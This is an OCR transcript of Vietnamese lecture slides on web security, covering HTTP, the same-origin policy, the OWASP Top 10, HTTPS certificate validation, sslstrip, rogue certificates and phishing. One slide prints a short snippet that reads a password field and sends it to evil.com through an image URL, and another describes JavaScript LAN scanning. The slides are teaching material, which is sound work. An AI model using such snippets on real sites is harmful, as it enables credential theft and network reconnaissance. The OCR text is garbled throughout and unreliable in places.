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World Wide Web

- Ra d&i nam 1990

- Hé thong cac siéu vén ban trinh bay bang ngon ngtr
HTML duwoc lién két véi nhau

- Cho phép truy cap dén nhiéu dang tai nguyén théng tin
khac nhau (van ban, hinh anh, am thanh, video...) qua
URL (Uniform Resource Location) va URI (Uniform
Resource |dentifier)

- Pang duoc diéu hanh b&i W3C

- Cac cbng nghé lién quan: CSS, XML, JavaScrips, Adobe
Flash, Silverlight...

- Hién tai da tr& thanh nén tang (Web-based service)

]
Giao thaec HTTP

- St dung TCP, cdng 80 Web clients
- Trao dbi thong diép HTTP i
(giao thirc rng dung)

»HTTP Request IE
»HTTP Response
- Lwu y: ¢ rat nhiéu cach
2 y - {
dé twong tac voi Web M
server ngoai trinh duyét Firefox

Navigator




]
Thong diép HTTP Request

- Ma ASCII (dé dang doc dwoc dwdi dang van ban)

request line
—_ )

(GET, POST, GET /~tungbt/index.htm HTTP/1.1\r\n
HEAD commands) [ Host: nct.soict.hust.edu.vn\r\n
User-Agent: Mozilla/5.0
heade Accept: text/html,application/xhtml+xml\r\n

’ r Accept-Language: en-us,en;g=0.5\r\n

lines | Accept-Encoding: gzip,deflate\r\n
Accept-Charset: ISO-8859-1,utf-8;g=0.7\r\n
carriage return, Keep-Alive: 115\r\n
line feed at start | Connection: keep-alive\r\n

of line indicates \r\n
end of header lines

]
Thong diép HT TP Response

status line

(protocol
\‘HTTP/I.l 200 OK\r\n

status code
status phrase) Date: Thu, 31 Jul 2015 00:00:14 GMT\r\n
Server: Apache/2.2.15 (CentOS)\r\n
Last-Modified: Wed, 30 Jul 2015 23:59:50 GMT\r\n
Accept-Ranges: bytes\r\n
header Content-Length: 2652\r\n

lines Connection: close\r\n
Content-Type: text/html; charset=UTF-8\r\n
\r\n
data, e.g‘,/,dat:a data data data data ...
requested
HTML file




]
Twong tac voi web server

- Dia chi URL
http:/icoolsite.comiiools/info.htm

N N\
Tén mién(sé dwoc phan N

giai thanh dja chi IP)

DPuwong dan téi tai nguyén (ndi
dung tinh, thwdng la file HTML)

]
Twong tac v&i web server (tiép)

- Twong tac véi cac kich ban dwoc thyc thi trén server
(servlet)

http://coolsite.coni/tools/doit.php?cmd=play&vol=4

_— A\

Puwong dan téi servlet, cho phép Céc tham sé cho qua
server sinh ndi dung trang web tuy trinh sinh ndi dung
thudc cac tham sé:

CGIl: Common Gateway Interface
PHP, JSP, ASP: ngdn ngi kich ban
(scrips)




Kién tric chung clia céc dich vu web

subdomain.mysite.com/folder/page?id=5
HTML Page, JS file, CSS file, image, etc.

APACHE

HTTP SERVER

run code’

| Database Queries |

Nguwdi dung cé thé _ P
twong tac voi cac tai ﬁ e~
nguyén khac théng & g

. Microsoft*
qua dich vu web S I|.Server' u

Hién tri (rendering) ndi dung trang web

- Mé hinh xt ly co ban tai trinh duyét: mdi clra sb hoac 1
frame:
»>Nhan théng diép HTTP Response
»Hién thj:
v X ly ma HTML, CSS, Javascripts
v Guri thdng diép HTTP Request yéu cdu cac dbi twong khac(néu co)
v Bat va xtr ly s kién
- C&c su kién c6 thé xay ra:
»Sw kién clia ngwoi dung: OnClick, OnMouseOver...
> Sw kién khi hién thi: OnLoad, OnBeforeUnload...
»Theo thoi gian: setTimeout(), clearTimeout()...
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Vi du

<IDOCTYPE html>
<html>
<body>

<h1>My First Web Page</h1>
<p>My first paragraph.</p>

<button type="button’ onclick="document.write(5 + 6)">
Try it</button>

</body>
</html>

1

11

]
Document Object Model(DOM)

- Té chirc cac dbi twong cla trang HTML thanh c4u trac
cay

- Cung cép API (hwéng dbi twong)dé twong tac

- Vi du:
»Thudc tinh: document.alinkColor, document.URL, document.forms|

], document.links[ ]...

»Phuwong thirc: document.write()...

- Bao gbébm ca dbi twong cua trinh duyét(Browser Object
Model - BOM): window, document, frames], history,
location...

12

12



]
DOM — Vi du

<html>

<head><title>Example</title> ... </head>

<body>

<a id="myid" href="javascript:flipText()">Alice</a>
</body></html>

document

13

13

DOM — Vi du khac

<head> ... \

<script type="text/javascript">
flip = 0;
function flipText() {
var x = document.getElementById('myid').firstChild;
if(flip == @) { x.nodeValue = 'Bob'; flip = 1;}
else { x.nodeValue = 'Alice'; flip = 0; }
}
</script>
</head>
<body>
<a id="myid"
href="javascript:flipText()">
Alice
</a>
</body>

document

flipText
14

14
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Javascript

- Ngén ngi» cho phép xay dwng cac script dé trinh duyét
thwce thi
- Puwoc nhung vao céac trang web ma server trd vé cho
client
- Thuworng str dung dé twong tac véi DOM
- Kha nang twong tac rat manh:
»Thay dbi ndi dung trang web trén trinh duyét
»Theo déi va x(r ly cac s kién’trén trang web (bao gém ca hanh vi
cla nguwdi dung: ré chudt, nhap chudt, gé phim)
~Doc, thiét 1ap cookie
»~Duy tri két ndi (AJAX)
»Sinh cac HTTP Request khac va doc HTTP Response tra vé

15

15

Javascript — Quét mang

- Cach thire thwe hién:
»GUri yéu cau téi mot anh véi dia chi cuc bd
v'Viduy: <img src="192.168.0.4:8080"/>
» S dung timeout/onError dé xac dinh thanh cong/16i

1) Truy cap website chira
Server ma JavasE:rlpt quet mang A; .
/—\
/’f\ B
2) .js file | Malicious
| Web page
I \
scan
3) guii két qua quét, Browser
. = scan
Modem/ Router 16

16
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Chinh sach cuing nguon(SOP)

- Same Origin Policy

- Chinh sach st dung trén trinh duyét Web

- Nguén = Giao thirc + Hostname + Cbng (rng dung

- Chinh sach SOP:,Trang web ctia nguén nay khéng duoc
phép doc, thay doi néi dung trang web ctia nguon khac

- céach ly cac trang web khac ngudn

SOP -Vidu

Kiém tra kha nang truy cap to
http://www.example.com/dir/page.html
http://www.example.com/dir/page2.html Success
http://lwww.example.com/dir2/other.html Success
http://lusername:password@www.example.com/dir2/other.html Success
http://www.example.com:81/dir/other.html Failure
https://www.example.com/dir/other.html Failure
http://en.example.com/dir/other.html Failure
http://example.com/dir/other.html Failure
http://v2.www.example.com/dir/other.html Failure
http://www.example.com:80/dir/other.html Depends =




]
SOP — Str dung thw vién bén thir 3

- Thu vién Javascript clia bén th&r 3 c6 thé dwoc nao vao
trang Web <script> src = “URL to .js” </script>

- Script c6 quyén‘thuc thi trén trang da nap, khéng phai
trén server ngudn

- Vi du: script khi thyc thi trén a.com c6 quyén‘tu’o’ng tac
véi DOM cua trang nay nhwng khéng c6 quyen trén DOM
cua trang b.com

<script src=https://b.com/script/example.js></script>

_ A http://a.com iDE
51N Lo Lia
<[> b.com  Xuathien
A com 3 Nguy co moi
19

19

/"0 ]
S dung thw vién bén thir 3
- L6 hdng: script co thé twong tac véi trang web da nap né

- thiéu co ché cach ly do SOP khéng con dwoc ap dung

INDIANTAGE Horme = Raisistar Bart naws by; Recantly Popular | T iy | Yeainriay | Wesk | Monih | Year | 6

Da,nh Cép théng tin NTAGS is social news submiting
var ¢ = document.getElementsByName(“password”)[0] we s
Nhung triec tiep ma ngudn JavaScript e
cua bén th 3 lam phat sinh nguy co
cho trang da s dung né y c’"_q\c,
)
73
Gi lai cho ké tan cong @1

<img src=""http::www.evil.com/info.jpg?_info_"> Sopaon @

www.shoppersstop.com

Unarname:

Plamsa antar the number provided in the image belew, T you can nol rad the numbs
brawser

20



Giai phap

HTML5 Web Workers: cach ly script badng cach thuec thi
trong ludng riéng, van cung ngudn véi frame da tao ludng
do

Twong tac v&i ludng chinh bang postMesage()
Thu hep pham vi thuyc thi va giao tiép:

HTML5 Sandbox

Content Security Policy
Sub Resource Integrity(SRI): 1ap trinh vién cung cap ma
bam cula tai nguyén da nap trén trang Web, trinh duyét
kiém tra tinh toan ven

Cross-Origin Resource Sharing: kiém ‘soét chia sé tai
nguyén gitka cac trang Web khac nguon

21

21
Cac nguy co doi voi dich vu web
Tén cong server tr phia client

Tén cong dang Injection

File System Traversal

Broken Access Control

22

22
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Céc nguy co ddi véi dich vu web

4/

Tén cong twr phia server:
Clickjacking
HistoryProbing
Phishing

23

23
Cac nguy co doi voi dich vu web
Tén cong ngudi dung khac:

XSS

CSRF

Remote Script Inclusion

24

24
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2017 OWASP Top10 Project

A-1 Injection Cho phép chen qu» liéu déc hai vao cau
I&énh hoac truy van

A-2  Broken DPanh cdp mat khau, khéa, thé phién, hodc
Authentication khai thac 16 héng dé gia mao ngudi dung

A-4 XML External Khai thac 16 hdng xd ly XML
Entities (XXE)

A-5 Broken Access Céc dang tan cong vwot quyén truy cap
Control

A-6  Security L& héng khi cu hinh, trién khai website

Misconfiguration

25

25

]
2017 OWASP Top10 Project

(ng dung Web khéng kiém tra ma doc
A-7 XSS : g NP
Javascript nhing vao di¥ liéu dau vao

A-8 Insecure Khéng kiém tra di¥ liéu déng géi trong cac
Deserialization  dbi twong Serialization

A-9 Using St dung cac cong cu, thanh phan phan
Components mém chwa va 16 hdng bdo mat da duwoc
with Known cobng bd
Vulnerabilities

A-10 Insufficient Khéng ghi nhat ky va giam sat day du
Logging &
Monitoring

26

26
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Top 15 16 hdng(2015 White Hat Security)

80 | 79

70
60 56
50 47

40
30 29 26 24
20 16 15

27
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2. GIAO THUC HTTPS

Bui Trong Tung,
Vién Cong nghé théng tin va Truyén théng,
Pai hoc Bach khoa Ha Noi

28

28
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Gidi thiéu chung vé HTTPS

- Han ché ctia HTTP:

~Khéng c6 co ché dé nguoi dung kiém tra tinh tin cay cia Web
server - 16 hdng dé ké tan cong gia mao dich vu hodc chén ma
doc vao trang web HTML

~Khong c6 co ché ma mat > 16 hong dé ké tan cong nghe lén danh
cap thong tin nhay cdm
- Secure HTTP: Két hop HTTP va SSL/TLS:
»Xac thue
»Bao mat

29

29

Thiét 13p lién két SSL/TLS

Ching thw sb

browser erver \

client-hello

Xac minh | server-hello + server-cert (chtra khda K ;)

Private
server-
cert key
- > A A X Rq a N
Thoa thuén thdong so trao doi khoda
Sinh 2oy .
kh6a bi Trao doi khda: E(Kys, Ks) E Ke
mat Kg

Thiét Iap xong két néi TLS

Thoéng diép HTTP dwoc ma héa voi
khoéa phién

30

30
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Chirng thw s - Vi du

@D @® CcCertificate Viewer"www.vietcombank.com.vn"

General Details

Certificate Hierarchy

¥ VeriSign Class 3 Public Primary Certification Authority- G5
» Symantec Class 3EV SSL CA-G3

www.vietcombank.com.vn

Certificate Fields
F www.vietcombank.com.vn
b Certificate
© Version
Serial Number
Certificate Signature Algorithm
1Issuer
b validity
Not Before
Not After

. b Subject PublicKeyInfo
Field value

= www.vietcombank.com.vn
= IT CENTER

= JOINT STOCK COMMERCIAL BANK FOR FOREIGN TRADE OF VIETNAM

= Ha Noi

N
u

rooT

31

]
HTTP trén trinh duyét Web

© Mgsnhangthuong maic.. X 4

€ w Rgbank.com.vn ¢ | Q Search w A + 8 A& O~ &

Truy cap dich vu Web véi HTTP RS ©

— B

Vletcumbuvnk

‘wvrw.vigtcombank.com.n > { Englhish

A x e Internet Banki
Nhan van niem vui cing MoneyGram e

Nhén tién bang dich vy MoneyGram d hudng”™

Vietcombank
‘

¥ ’ 000.000 VN

Khi click vao lién két... ) ich vu khach hang 24/7

Binh ché& t3i chinh

* Tai khoan * Tai khoan doanh nghiép ® Ngan hang dai ly
 The * Thanh Todn va quan Iy tién t& * Tai khoan

o Tict kigm * Bao linh * Kinh doanh vén

® Chuyén & Nhan tién * Tin dung doanh nghiép ® Tai trg thudng mai

| Chon dich vu

e cho vay ca nhan ® Ngoai hai va thi trudng vén * VCB-Foney

Xem tiép... Xem tip... Xem bép...

32

32



HTTPS trén trinh duyét Web

/Truy cap Web v&i HTTPS |
@ Dang nhip

= o x
%

(-TSTO(KCOMMERC\ALEAN‘.‘ wN) wawvie EJ | @ | Q Search % B + & A& O @
® | BE=

Dich vu khach hang 24/7- 1900 54 54 13

Chsp canh uvéc mo cung Vietcombank

Chuong irinh khuyén mai hdp dan b
06/10/2016 dén hét 31/12/2016

Vietcombank

Danh cho Khach hang mua méi Bao N -~ .
NGAN HANG TRUC TUYEN

Thanh Tai; Bao An Tai Tri clia Viel

VCB - iB@nking
- Toan bd ndi dung website (bao gém
hinh anh, CSS, Flash, scripts...) da
dwoc trinh duyét thAm tra tinh toan ven Fp024 2

va ngudn gbc tin cay.
B - Moi théng tin trao dbi gitra trinh duyét il
va BIDV dwoc gitr bi méat.

33

33

/0]
Tai sao HTTPS an toan?

- Tn cdng DNS cache poisioning
. ;l A S AL | > | > l,{ a
- TAn cdng DHCP Spoofing
/ s| A Y \AL I > I > ll\ ~
. TI\ ~ ;' | | X ;X | R I 7 | ;.\

.
A A
- Fanebngphéatiai-

34

34
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Qua trinh xac minh chirng thw s6

- Bwéc 1: Trinh duyét so sanh tén mién trong chirng thu s
(Subject CN)va tén mién trén dia chi URL
»Tén twdng minh: dnsimple.com, hoac
»Tén dai dién: *.dnsimple.com, dn*.dnsimple.com
- Buwdc 2: Trinh duyét kiém tra thdi gian hiéu lwc clia chirng
thw sb
- Bwéc 3: Trinh duyét kiém tra chirng thw sb gbc ctia CA
ching thwe cho server
~Dé xem cac chirng thu sé gbe trén trinh duyét Firefox
Options 2Advanced>View Certificates 2Authorities
- Bwéc 4: Trinh duyét s&r dung chirng thw sé gbc ctia CA
dé thadm tra chi ky s6 trén chirng thw ctia server

35
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Churng thw s6 goc

- Pwoc tich hop séan trén trinh duyét

Certificates X
Intended purpose: | <Al w|
Trusted Root Certification Authorities  Trusted Publishers  Untrusted Publishers |EI_L|
Issued To Issued By Expiratio...  Friendly Mame L
[Z]AddTrust External ...  AddTrustExternal CA...  30-May-20  The USERTrust ...
[ affirmTrust Comme...  AffirmiTrust Commercial  31-Dec-30  Trend Micro
[5Baltimore CyberTru... Baltimore CyberTrust ... 13-May-25  DigiCert Baltimor...
[l certification Author... Certification Authority... 08-Aug-33  WoSign
Slcertum ca Certum CA 11-un-27  Certum
[Slcertum Trusted Ne...  Certum Trusted Netw.., 31-Dec-28  Certum Trusted ...
@CIES& 3 Public Prima... Class 3 Public Primary ... 02-Aug-28  VeriSign Class 3 ...
@COMODO RSA Cert... COMODO RSA Certific... 19-Jan-38 COMODO SECU...
L-_TJCopwight (c) 1997 ... Copyright {c) 1997 Mi... 31-Dec-99  Microsoft Timest... ¥

36
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Chubi chirng thue

tcombank.com.vn”

D @® Certificate Viewer:"w

General Details

» Symantec Class 3EV SSL CA-G3

Certificate Hierarchy
» VeriSign Class 3 Public Primary Certification Authority- G5
www.vietcombank.com.vn

Certificate Fields
» www.vietcombank.com.vn
! Certificate
. Version
Serial Number
Certificate Signature Algorithm
. Issuer
- b validity
‘Mot Before
‘Not After

~_+ Subject Public Key Info
Field value

[CN = www.vietcombank.com.vn

U = IT CENTER

JOINT STOCK COMMERCIAL BANK FOR FOREIGN TRADE OF VIETNAM
H

a Noi 37

0
0
L

Chuéi chirng thuc

Certificate
&péicip “I'm € because | say so!”

Certificate “
‘/ » ?0 “'m @ because & says so”

Certificate -
‘/ ,éﬁaf: “I'm ¥ because (/) says so”

Chubi xac thwc tir chdi ching thw s6 néu co bat ky
buwé&c nao cho két qua xac thwce that bai

38
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Khéng tim thay chirng thw s6 goc

This Connection is Untrusted

You have asked Firefox to connect securely to www.mikestoolbox.org, but we can't
! confirm that your connection is secure.

Normally, when you try te connect securely, sites will present trusted identification to prove
that you are going to the right place. However, this site's identity can't be verified.

What Should | Do?

f you usually connect te this site without problems, this error could mean that semeene is
trying to impersonate the site, and you shouldn't continue.

(" Get me out of here )
" Teck g

an invalld security cernificate.

Con an toan e
khéng khi nguoi
dung chap nhan 0 o
canh bao?

1 website was signed by an unknown certifying

¥ You might be connecting to a website that is pretending to be
mikestoslbox.org’, whith eould put your confidentlal information at
ould you ke 1o connect to the website anyway?

Show Certificate

39

39

Tan céng vao HTTPS

- T&n cong sslstrip: loi dung 16 hdng chuyén ti truy cap

qua HTTP sang truy cap qua HTTPS (nhw thé nao?)

ad X
% Ngénhangthuongmaic.. X 4

bank.comvn @ | Q Search wa s 6 O @

Vlet:umbavnk

werwvietcombank.comun 21 English

a i@ i cu B mntemet Banki
Nhan van niém vui cing MoneyGram | Intemet Banking

Nhan tién bang dich vu MoneyGra ring thuong”!

) Dich vu khach hang 24/7

Doanh nghiép Binh ché tai chinh

® Tai khoan

® The

* Tai khoan doanh nghiep * Ngan hang dai Iy

* Tai khoan

* Kinh doanh vén

* Taitrg thirdng mai
® VCB-Money

« Thanh Todn va qun Iy tién t& Y Lua chon dich vu

® Tiét kiem ® Bao lanh

® Chuyén & Nhén tién * Tin dung doanh nghiép

~ Chon dich vu

o Chovay cé nhan « Ngoai hdi va thi truéng vén

Xem tiép... Xem tip... Xem tiép...

Truy cap dich vu Web véi HTTP | o | it [

40
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Tan cong sslstrip

@ HTTP SSL =

web
attacker server

Noi dung tra vé tir N6i dung thay thé bdi

web server attacker
<a href=https://...> > <a href=http://...>
Location: https://... >

Location: http://... (redirect)
<form action=http://...>
- C4c trang c6 16 hdng nay: ebay.com, rat nhiéu ngan hang Ién

¢ Viét Nam (Agribank, Vietinbank, Vietcombank, BiDV, ACB
bank...)

<form action=https://... > >

41

41

Tan cong sslstrip

. Thérrl chi, trén cac website ho tro déy da HTTPS, nhung
co6 thé lgi dung ngwdi dung khdng cap nhéat trinh duyét
phién ban mai

- Thay fav icon

ookmarks JTools Help Bookmarks Tools Help
I-'_’ | http fiwww.google.cormfaccountsfServic I3 I =] | http:/fwww.google . comjaccounts/s

- Xba cookie bang cach chén header “set-cookie” 2> nguoi
dung bat buéc dang nhap lai

»Phan I&n khéng phat hién HTTPS > HTTP

42
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Phong chdng: Strict Transport Security

(HSTS)

@4Strict-Transport-Security: max-age=31-10% includeSubDomains @ web

(bd qua néu lién két khéng phai la HTTPS) server

- Mot truong trén tiéu dé cia HTTPS Response, yéu cau
trinh duyét luén két ndi v&i may chd qua HTTPS

- HSTS chi dwoc chap nhan trén céac lién két HTTPS

- Max-age: thoi gian duy tri

- Kiém tra danh sach cac website hé trog HSTS:

»chrome://net-internals/#hsts

> %APPDATA%\Mozilla\Firefox\Profiles\...\SiteSecurityServiceState.t
xt

43

43

]
CSP: upgrade-insecure-requests

- C4c trang thwong trén 1an cac URL cuda tai nguyén voi
HTTPS

Vi du: <img src="http://site.com/img”>

- Thém vao tiéu dé trong HTTP Response

Content-Security-Policy: upgrade-insecure-requests

- Trinh duyét tw dong chuyén céc lién két st dung HTTP

sang HTTPS
- Khéng ap dung v&i thé <a>
<img src="http://site.com/img”> <img src="https://site.com/img”>
<img src="http://othersite.com/img”> ™ | <img src="https://othersite.com/img”>
<a href="http://site.com/img”> <a href="https://site.com/img”>
<a href="http://othersite.com/img”> <a hre@/othersite.com/img">
Ludn st dung URL twong déi: <img src="//site.com/img”> 44
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Tan céng vao HTTPS

- Giao thtrc truy cap 1a HTTPS nhung ndi dung website khong
dwgc chirng thyc day du
- Vi du:
<script src=“http://.../script.js>
<img src="http://site.com/img”>
- Nguy co: K& tAn cong thay thé nhirng néi dung nay
- Canh bao trén trinh duyét

|E7 @ Thie pags conteins bolh sscute and nonsecun - Chrome(CéC phlén bén CCI):
Do pou want to dizplay the nonzecure tems? % h!‘tps:[,’ .9 fe.com{calendar/
[ xes  J[ Wo | [ Homeina ]

- Chinh sach ctia Chrome: chan CSS, ma Javascript, thé

<frame>
45
45
Tan cong lgi dung website khdng dwoc
chirng thue day dd-Vi du
2 VietinBank - Ngan Hang T... >
(' https:,-’,-‘\aﬂ.'.-'-,u‘.vietinbank.vnA*.rebfhomef\.rnﬂndenhiml
& www.vietinbankvn
Connection 1s Mot Secure N
Parts of this page are nat secure (such
s images), inter: 1900 558 868 / (84) 4 3941 3868
- T
— Permissions —_—
You have not granted this site any special piam S0 U phyc W khach hang bl
permissions,
Danh cho Ca nhin
AT
AT
46

46
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Tan cong vao HTTPS

- S dung CA gid mao dé phat hanh chirng thw gid mao
- Nguwoi dung str dung phién ban trinh duyét khéng an toan
- chirng thw gbc bi thay thé

GET https://bank.com _ -

ClientHell attacker ClientHell
ientHello — entHello
m i

(o
Q
>
=~

ServerCert (rogue) il ServerCert (Bank)
(cert for Bank by a invalid CA)

SSL key exchange SSL key exchange
k1 k1 kz kz
HTTP data enc with k, > HTTP data enc with k,

S
>

47
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Phat hanh chirng thu s sai cach

- 2011: Comodo and DigiNotar CAs bj tAn c6ng, phat hanh
chirng thw s6 cho cac tén mién ctia Gmail, Yahoo! Mail,

- 2013: TurkTrust phé@ hanh ching thw sé cho gmail.com
(phat hién nh& co ché Dynamic HTTP public-key pinning)

. 20‘14: Indian NIC phat hanh chirng thw sb cho cac tén
miéen cua Google

- 2015: MCS phat hanh chirng thw sé cho cac tén mién
cua Google

= trinh duyét khong phat canh bao khi ke tan cong thay
thé ching thw sO
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Phong chdng chivrng thw s6 gia mao

- Dynamic HTTP public-key pinning:
»>TOFU(Trust on First Use):

v/ Trwdng Public-Key-Pins trong tiéu dé clia HTTP Response chira CA da
cap phat chirng thu so cho website

v Néu céc phién tiép theo, st dung chirng thw duoc chirng thuc béi CA
khac > tr chéi

. Gjao thire “Certificate Transparengy” cho phép CA cdng
bo toan bd ban ghi nhat ky (log) vé cac chirng thw da phat
hanh

- Giao thre OCSP (Online Certificate Status Protocol)
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HPKP — Vi du

Public-Key-Pins: max-age=2592000;
pin-sha256="E9CZ9INDbd+2eRQo0zYqqbQ2yXLVKB9+xcprMF+44U1g=";
pin-sha256="LPJNul+wow4m6DsgxbninhsWHIwfp0JecwQzYpOLmMCQ=",
report-uri="https://example.net/pkp-report"

» chrome://net-internals/#hsts
* https://dxr.mozilla.org/mozilla-
central/source/security/manager/tools/PreloadedHPKPins.json
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Tan cong phishing

- Homograph attack: Loi dung hinh dang giéng nhau cla
mot s ky tw. Vi du: vvesternbank, paypai, paypail,
paypal...

»8SUr dung ma Unicode trong URL: paypal.com

- Semantic attack: I¢gi dung cac trinh duyét ci khong phan
biét cac dau d&c biét trén tén mién. Vi du: Ké tan céng co
thé mua tén mién var.cn va s dung tén mién con

www.pnc.com/webapp/homepage.var.cn

- Phong chéng: str dung chirng thw hd tro chirng thwe mé
réng (Extended validation certificate)

ietnam Joint Stock Commercial Bank For Industry and Trade ttps://ebanking vietinbank.wn/ipay/login.do
& i Joint Stock C ial Bank For Ind d Trade [VN]| https://ebanking.vietinbank.vn/ipay/login.d

51

]
Homograph attack — Vi du

- Website bi gia mao

| @ Bank of the West | - Mozilla Firefox )
File Edit View History Bookmarks Tools Help
[ R TN lank of the Wet (US) [t i com/BOW/home 7 - | |[[Gl-] Googe B
OF < i Saarch & B
BANKSWEST £ Gl e

Signin¥ . Have a question? Contact Us. Fint us | ZIP ¢ |

PERSONAL ' SMALL BUSINESS | COMMERCIAL

Products & Services ~ Achieve Your Goals  Bank Online eTimeBanker _

| Login |
Checking Buy a home Apply for an account online r—
Savings & CDs Buy a new car Learn about online banking Whee dol el miRl sty
Credit Cards Save for college Enroll in eTimeBanker g g .
Loans Waximize home equity % o

) & —

Wealth Management & Trust Consaolidate debt .{"5 . ; A 1
Insurance Try our financial calculators 4 ¥ ]

See all our Personal banking products »
Dene

www bankefthewest.com [}
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Homograph attack

- Website gia mao

@) Bank of the West | - Mozilla Firefox
File Edit View History Bockmarks I

6 <

hevvest.com,
thewest.com/

+//www.bankofthevvest.comBOW/home
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Semantic attack (vi du

File Edit View History Bookmarks Tools Help

« @ - z @ ‘ https:frmfw.pnc:com/webapp/unsec/homepagw ;l |'|Gooq\e @

Most Visited™ @ Getting Started [

(-‘)PNC HOME SECURITY ASSURANCE LOCATE PNC CONTACT US CUSTOMER SERVI
LEADING THE WAY Skl

Latest Headlines ™

PNC Bank Select Reward|

Yisa® Platinum Car

ke advantage of a 0.991

N»Ge( Started Nos

2w 10 Difine Banking i _' 4 4 ¢ .- ntroductory APR throug|

March 31,2010 of
; Balance Transfers

{F‘mducts‘and&awiqas : I 1S_elu§nns

Important FDIC Information

PG Bank is participating in the
FDIC's Transaction Accourt
Guarartes Program, more b

Two of America's
best-known banks,

PMC's wide range of services can make
banking easier, and more convenient
than ever, See why PMC's the smart
choice for help in meeting your financial
goals.

# Online Banking and Bill Pay

Whatewer challenges and opporunities
lie ahead, PNC can help. See why
warking with PMC to plan for life's
greatest milestones is the smart
choice

» Waking the Most of Your Money

LT |

Dene

B |
I www.pne.com/webapp/unsec/homepagevar.cn = [ ~ 54

How simply one of ¥ Checking ¥ virtual Wallet

America's best. ¥ Savings ¥ Planning for Retirement
e e || oS andLinesiopEedn ¥ Saving for Education

easy as possible for you ¥ Cards ¥ Buying a Home =]
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Tan cong phishing (tiép)

- Picture-in-picture attack: dwng mét frame chira cira sb
giao dién cia moét V\{ebsite da dwogc chirng thye 2l
dung ngwdi dung bat cAn khéng quan sat khi duyét web

6»". - —r——
W e erain sl -

SR ] o =18 i |41 | % i

I R T—— -

PayPal g U | Lo 00 | bl
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Bai giang s dung mét s hinh vé va vi du tir cac khda
hoc:

- Computer and Network Security, Stanford University
- Computer Security, Berkeley University
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